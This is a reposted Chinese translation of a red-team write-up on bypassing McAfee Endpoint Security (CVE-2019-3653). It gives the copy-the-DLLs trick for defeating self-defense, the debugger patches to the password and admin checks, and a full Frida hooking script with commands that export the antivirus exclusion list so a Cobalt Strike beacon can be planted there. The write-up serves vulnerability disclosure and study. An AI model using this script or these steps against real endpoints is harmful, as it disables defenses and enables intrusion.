怎样卸载迈克菲,如何禁用mcafee杀毒软件

利用Mcafee管理工具绕过McAfee杀毒软件

介绍这篇文章是关于我在一次红队活动中如何利用McAfee工具绕过McAfee Endpoint Security杀毒软件的故事。本来我没有计划写这篇文章,但当时的队友@fsdominguezand和@_dirkjan觉得此事值得被记录下来。现在,就让我们开始吧。McAfee在以往,每当我们遇到McAfee Virus Scan Enterprise(VSE)的时候,都可以通过简单地查询注册表,了解到那些位置是管理员指定的“特殊位置”(不受杀毒软件影响)。

然而,在这次任务中,事情没那么简单。因为他们使用的是McAfee Endpoint Security,从VSE时代到现在,McAfee可能认为最好不要将“特殊位置”之类的信息以明文形式存储在任何人都可阅读的文件中。

那么,我们现在该把恶意文件放在哪里?ESConfigToolMcAfee Endpoint Security杀毒软件附带一个名为ESConfigTool的程序,可用于导入和导出配置文件。它的详细用法如下。

我们发现,要从McAfee Endpoint Security得知安全设置,你需要:解锁密码管理权限很遗憾这两者我们都没有。

现在,先让我们下载一个试用版本的McAfee Endpoint Security,看看是否有入手点。

变化我们最后决定还是以ESConfigTool为目标,看看它是否有漏洞。我先创建了三个“特殊位置”:C:\Windows\Temp\*mimikatz.exeC:\TotallyLegit\

还设置了密码保护:starwars。

打开一个cmd,看看我们是否可以得到这些设置信息。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock starwars /plaintextCommand executed successfully. Please refer to Endpoint Security logs for detailsC:\Windows\system32>让我们打开xml文件,看看是否有敏感信息:

C:\Windows\Temp\031110**\*mimikatz.exe030110C:\TotallyLegit\031110是的,在拥有管理员权限以及输入了正确密码的情况下,你可以得到安全设置。让我们通过x64dbg软件,看一下它的整体流程。Self-defense通常使用调试软件打开二进制文件是很简单的,但由于我们面对的是安全软件,所以有一些额外的障碍。一个重要的原因是,McAfee的大部分组件都有“自卫”功能。如果你尝试使用调试软件,将立即得到一个Debugging stopped消息,McAfee对这种可疑行为极为敏感。

 

12/10/2019 12:47:09 mfeesp(2204.6392) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.12/10/2019 12:47:09 mfeesp(2204.5404) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.看来我们首先需要绕过这种自我防御机制。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>mkdir \tempC:\Users\admin>cd \tempC:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll” . 1 file(s) copied.C:\temp>没错,只要像如上所述疯狂复制文件,你就可以绕过自我防御,对软件进行调试。现在,让我们开始调试吧

绕过密码检查先让我们看看当使用错误的密码时会发生什么,也许会有一些字符提示:

C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock startrek /plaintextThere were some errors while executing command. Please refer to Endpoint Security logs for detailsC:\Windows\system32>嗯,没什么特别的。不过McAfee的日志文件提供了更多信息:

10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed让我们在调试器中搜索特定字符串,看看能否找到这个错误的来源。

 

现在我们把这个位置设为断点,再运行一次,看看在断点之前发生了什么。我们可以看到一个函数调用了一个名为BLInvokeMethod的东西,后面还跟着一个没有执行的跳转:

 

此时,我们有两个选择:进入密码检查函数,看看它是如何工作的,并尝试破解密码。直接更改检查函数的返回值。因为我很懒,我所以选择了第2项。当输入错误的密码时,密码检查函数会将错误代码放入RAX寄存器:

如果提供了正确的密码,则RAX寄存器的值为0

那么,如果我们提供了错误的密码,将密码检查函数中断,并将RAX寄存器的值改为0,会发生什么情况呢?

成功导出设置!

看来密码检查只是由工具本身完成的,不牵涉其他组件,也不需要解密。绕过管理员权限在没有管理员权限的情况下,ESConfigTool工具能使用的功能是非常有限的:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\user>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\temp\Export.xml /module TP /unlock starwars /plaintextDescription: Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.USAGE: ESConfigTool.exe /export [/module <TP|FW|WC|ESP> ] [/unlock ] [/plaintext ] ESConfigTool.exe /import [/module <TP|FW|WC|ESP> ] [/unlock ] [/policyname ] ESConfigTool.exe /helpC:\Users\user>我们怎样才能知道权限检查的流程呢?先让我们以普通用户的身份运行调试器,看看会发生什么。发现它调用一个函数,并对返回值进行字符串比较,如果返回代码不是0,则调用“exit”。

如果追踪这个函数,会发现它将最终调用AllocateAndInitializeSid。不过这些都不值得花时间去逆向。让我们再次尝试偷懒的方法更改函数返回值。

返回值检查如下:

这一次返回值必须是0以外的任何值。

OK,又成功了!

我们现在可以从McAfee Endpoint Security导出安全设置,不需要管理权限,不需要知道正确的密码!自动运行到目前为止,一切都很顺利,但是每次使用调试器更改返回值是一件痛苦的事情。不过幸运的是,存在Frida这么一个有趣的东西,它可以帮你做所有很酷的事情,比如hook函数或改变其返回值,你不需要任何额外的技能,除了javascript!

那么我们如何将Frida注入到McAfee呢?很简单,frida-server。只需在运行McAfee的机器上启动它,然后使用Python进行连接。McAfee机器:Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>cd \tempC:\temp>frida-server-12.7.9-windows-x86_64.exePython机器:Python 3.6.7 (default, Oct 22 2018, 11:32:17) [GCC 8.2.0] on linuxType “help”, “copyright”, “credits” or “license” for more information.>>> import frida>>> devmgr = frida.get_device_manager()>>> devmgr.add_remote_device(‘192.168.31.150′)Device(id=”tcp@192.168.31.150″, name=”192.168.31.150″, type=’remote’)>>> rdev = frida.get_device(‘tcp@192.168.31.150’)>>> args = [… ‘ESConfigTool.exe’,… ‘/export’,… ‘frida-export.xml’,… ‘/module’,… ‘ESP’,… ‘/unlock’,… ‘startrek’,… ‘/plaintext’… ]>>> pid = rdev.spawn(args)>>> session = rdev.attach(pid)>>> sessionSession(pid=11168)现在我们已经连接上,ESConfigTool.exe也正在运行!

现在我们可以将JS代码注入到ESConfigTool进程中。Frida脚本我不会详细介绍这个脚本的功能,其完整代码如下:

const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);//const adminCheck = configbase.add(0x5240); //32const adminCheck = configbase.add(0x5f30); //64const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)console.log(‘[-] base address is:’,configbase);console.log(‘[-] Admin check is:’,adminCheck);console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);Interceptor.attach(adminCheck, { onEnter: function (args) { console.log(‘[+] Hooked admin check function’); }, onLeave: function (retval) { console.log(‘[+] Returning true for admin check’); retval.replace(1); }});Interceptor.attach(BLInvokeMethod, { onEnter: function (args) { console.log(‘[+] Hooked BLInvokeMethod function’); }, onLeave: function (retval) { console.log(‘[+] Patching password check function’); retval.replace(0x0); }});这个脚本执行的正是我们在调试器中手动执行的操作,更改返回值。让我们注入脚本,看看它是否有效:

>>> script = “””… const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);… //const adminCheck = configbase.add(0x5240); //32… const adminCheck = configbase.add(0x5f30); //64… const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)… … console.log(‘[-] base address is:’,configbase);… console.log(‘[-] Admin check is:’,adminCheck);… console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);… … Interceptor.attach(adminCheck, {… onEnter: function (args) {… console.log(‘[+] Hooked admin check function’);… },… onLeave: function (retval) {… console.log(‘[+] Returning true for admin check’);… retval.replace(1);… }… });… … Interceptor.attach(BLInvokeMethod, {… onEnter: function (args) {… console.log(‘[+] Hooked BLInvokeMethod function’);… },… onLeave: function (retval) {… console.log(‘[+] Patching password check function’);… retval.replace(0x0);… }… });… … “””>>> session.create_script(script).load()[-] base address is: 0x7ff73ed30000[-] Admin check is: 0x7ff73ed35f30[-] BLInvokeMethod: 0x7ffa4d759730>>> rdev.resume(pid)>>> [+] Hooked admin check function[+] Returning true for admin check[+] Hooked BLInvokeMethod function[+] Patching password check function>>>最终结果如下:

虽然我是作为“admin”用户运行的,但是没有涉及UAC。相信我,这套方法也适用于普通用户。后续现在,我们就可以把一个Cobalt Strike beacon放入那些“特殊位置”。尽管在本文中只讨论了设置信息导出,但你也可以导入配置文件,添加“特殊位置”,更改其他设置,甚至完全删除密码。

值得一提的是,其实这个配置文件加密与否并不重要,因为你可以把它导入自己的McAfee软件进行查看。

McAfee在确认了漏洞后,发布了一个安全建议和相关的修复程序,漏洞被标记为CVE-2019-3653。

如果你想了解更多,可以在这里找到PoC脚本。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://dmaasland.github.io/posts/mcafee.html

原文:https://www.loosebyte.com/google-cloud-vulnerability/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本文来自投稿,不代表展天博客立场,如若转载,请注明出处:https://www.me900.com/326069.html

(0)

相关推荐

  • 追踪团贷网(团贷网确实有大量真实债权)

    关注「NP说财」 Hi,大家好,我是NP叫兽。 今晚是追踪团贷网的第358天,简单说下,由于最近是敏感期,所以追踪T&D网的文章都会不定时删除,关心团贷网的文章请尽快查看。 也麻烦大家积极帮忙转发下文章,尽快找回更多失联的团友,以后每周五都会在【NP说财】(全网同名)更新最新的追踪情况。 一 上周(2月9日至2月15日)催收回款情况 根据叫兽的独家追…

    2022-01-07
  • 科目二预约排名窍门(科目二考试预约排名是怎么排的)

    来源:央视新闻客户端 原标题:@广大驾驶员,C6驾照科目二考试攻略来啦 4月1日起,新修订的《机动车驾驶证申领和使用规定》正式实施,新增轻型牵引挂车准驾车型(C6)。那么,申请增驾C6有什么要求?C6考试科目又有哪些?一起来了解下! 什么驾驶证可以增驾C6? 已取得驾驶小型汽车(C1)、小型自动挡汽车(C2)以上准驾车型驾驶证,且本记分周期和申请前最近一个记…

    2022-05-08
  • 香港cdn,香港cdnis国际学校

    《关于“香港cdn”的探索与思考》 一、什么是香港cdn我觉得“香港cdn”可能是指在香港地区部署的内容分发网络(ContentDeliveryNetwork)。cdn主要是通过在全球各地设置节点,将网站的静态资源(如图片、视频、脚本等)缓存到离用户最近的节点上,从而加快网站的加载速度,提高用户体验。也许香港作为一个重要的国际金融和商业中心,拥有先进的网络基…

    投稿 2025-11-11
  • 牙签吴亦凡什么意思?吴亦凡为什么被叫做吴签

    近日,吴亦凡选妃一事闹得沸沸扬扬,各大官方媒体纷纷报道,央视网犀利点评之后还置顶了,和吴亦凡相关的品牌方都选择了及时终止合同,种种细节证明:吴亦凡要凉了! 其实,对于吴亦凡的结尾,我们是可以想象的,因为在他之前,但凡是私生活混乱的艺人,基本上都被封杀,比如黄海波,比如陈冠希,比如郑爽等! 就在昨天,东方日报发布了一篇报道,主角是吴亦凡,内容大概就是都美竹爆料…

    2022-05-03 投稿
  • 中国十大男装,中国十大男装品牌标志

    《中国十大男装:探寻时尚与品质的巅峰》 在时尚的舞台上,男装一直占据着重要的地位。 它不仅是一种着装方式,更是一种表达个性和品味的方式。 那么,中国十大男装究竟是哪些呢?这可能是一个让很多人都感到困惑的问题,因为中国的男装市场非常庞大,有很多优秀的品牌。 不过,通过对市场的调研和分析,我觉得以下十个男装品牌可以被称为中国十大男装。 每一个优秀的男装品牌都有其…

    投稿 2025-04-18
  • 软中华700一条贵吗(中华和荷花哪个有面子)

    其实说到抽烟这种现象,虽然都清楚对于身体有害,但真正能不抽的又少之又少,随着社会的发展,抽烟的情况逐渐低龄化,很多学生在学校就已经学会了抽烟,可能大部分的男生,抽烟是为了解闷提神,但处在初中阶段,很多男生抽烟其实就是为了撑面子。男生最撑面子的三种香烟,中华不算啥,00后“钟爱”最后一种 1、软中华   这款香烟是我国卷烟品牌的杰出代表,要知道它被称…

    2022-03-03 投稿
  • 正规挣钱最快的游戏(什么游戏能真的赚钱)

    随着生活质量的提高,几乎每个人都有一个或者多个智能手机,拿着手机除了聊天发消息打电话之外,也有很多人开始接触网赚,不过大多碰到的都是些诈骗或者网赌的。今天就来给大家介绍几款能真正赚的小游戏,不是那种需要很长时间操作的。 第一款【掌上宝短视频】,一款看看视频就能赚的软件,不过不像快手和抖音之类的。这款软件是看视频得龙珠,目前龙珠价格一颗大概在一块到两块之间,有…

    2022-01-07 投稿
  • 微信聊天屏幕表情雨(微信什么表情有屏幕雨)

    最近随着微信的更新,又悄悄上线了3个彩蛋,分别为拍雷、炸屎、爱心雨,不过需要与好友配合才会触发,同时还支持上传1G原画视频。   彩蛋1:拍雷 相信大家已经很久没有玩微信的“拍一拍”了吧?首先打开微信,点击右下角的「我」,再点击头像进入个人信息页,找到「拍一拍」功能。   进入后设置拍一拍内容,我们可以在文本框中添加表情,当别人拍我们的时…

    2021-12-05 投稿
  • 卖账号被骗了怎么办(网上买卖账号被骗了怎么办)

    大家对买卖游戏账号并不陌生,可大多数人却并不看好 也没打算购买他人的游戏账号, 一是自己培养起来的号玩起来更顺心。 二是怕遇到骗子。 甚至有的小伙伴买完后心理也不踏实,怕突然有一天就会被申诉找回。 更有甚者在被恶意找回后由于不懂法,不知道该怎么办,只能眼睁睁看着自己的钱被骗走。   这不dnf吧的吧友在2019年6月份花费5000元购买了一个游戏账…

    2021-12-05 投稿
  • 盲盒是什么意思(盲盒有哪些周边产品)

    随着潮玩影响力的不断扩大,越来越多的网友入坑潮玩。像是游戏日报泡泡身边就有很多入坑盲盒的朋友,不过很多朋友还是只知道盲盒这一种类,对于吊卡、徽章等盲盒的周边却一无所知。不知道盲盒的兄弟姐妹那就太亏了,这些可都是薅羊毛的好东西,下面就跟着泡泡一起看看盲盒的周边产品都有哪些吧?吊卡 盲盒的吊卡虽然指的是一种销售模式,但是在盲盒圈更对人愿意把它称为是“明盒”。之所…

    2022-05-07
  • 中国企业的平均寿命2.4年,如何破位而出

      题图 | 视觉中国   一家公司想赢定十年,或许只需要看准时机,做好技术;但想要百年长青,就必须具备非常人可及的能力,才能经受得住经济周期一轮又一轮的“洗礼”。   在欧洲,很多老牌企业都穿越过两次世界大战的炮火和经济格局的改变。一战期间,雀巢因奶粉起步,随后,雀巢又因“炼乳”的兴起再次穿越二战的战火。积聚了资本力量后,雀巢…

    2022-04-17
  • Android手机处理器性能榜单(高通骁龙处理器排行)

    今天,@安兔兔公布了“2020年上半年Android手机处理器性能榜单”,一起来看下吧。 上半年排名前十的处理器依次是骁龙865 5G、天玑1000 、骁龙855 Plus、骁龙855、麒麟990 5G、麒麟990、天玑1000L、麒麟980、麒麟985 5G以及天玑820。安兔兔表示:天玑1000 的表现可谓是惊艳,时隔多年之后联发科终于又拿出了一款能够在…

    2023-02-15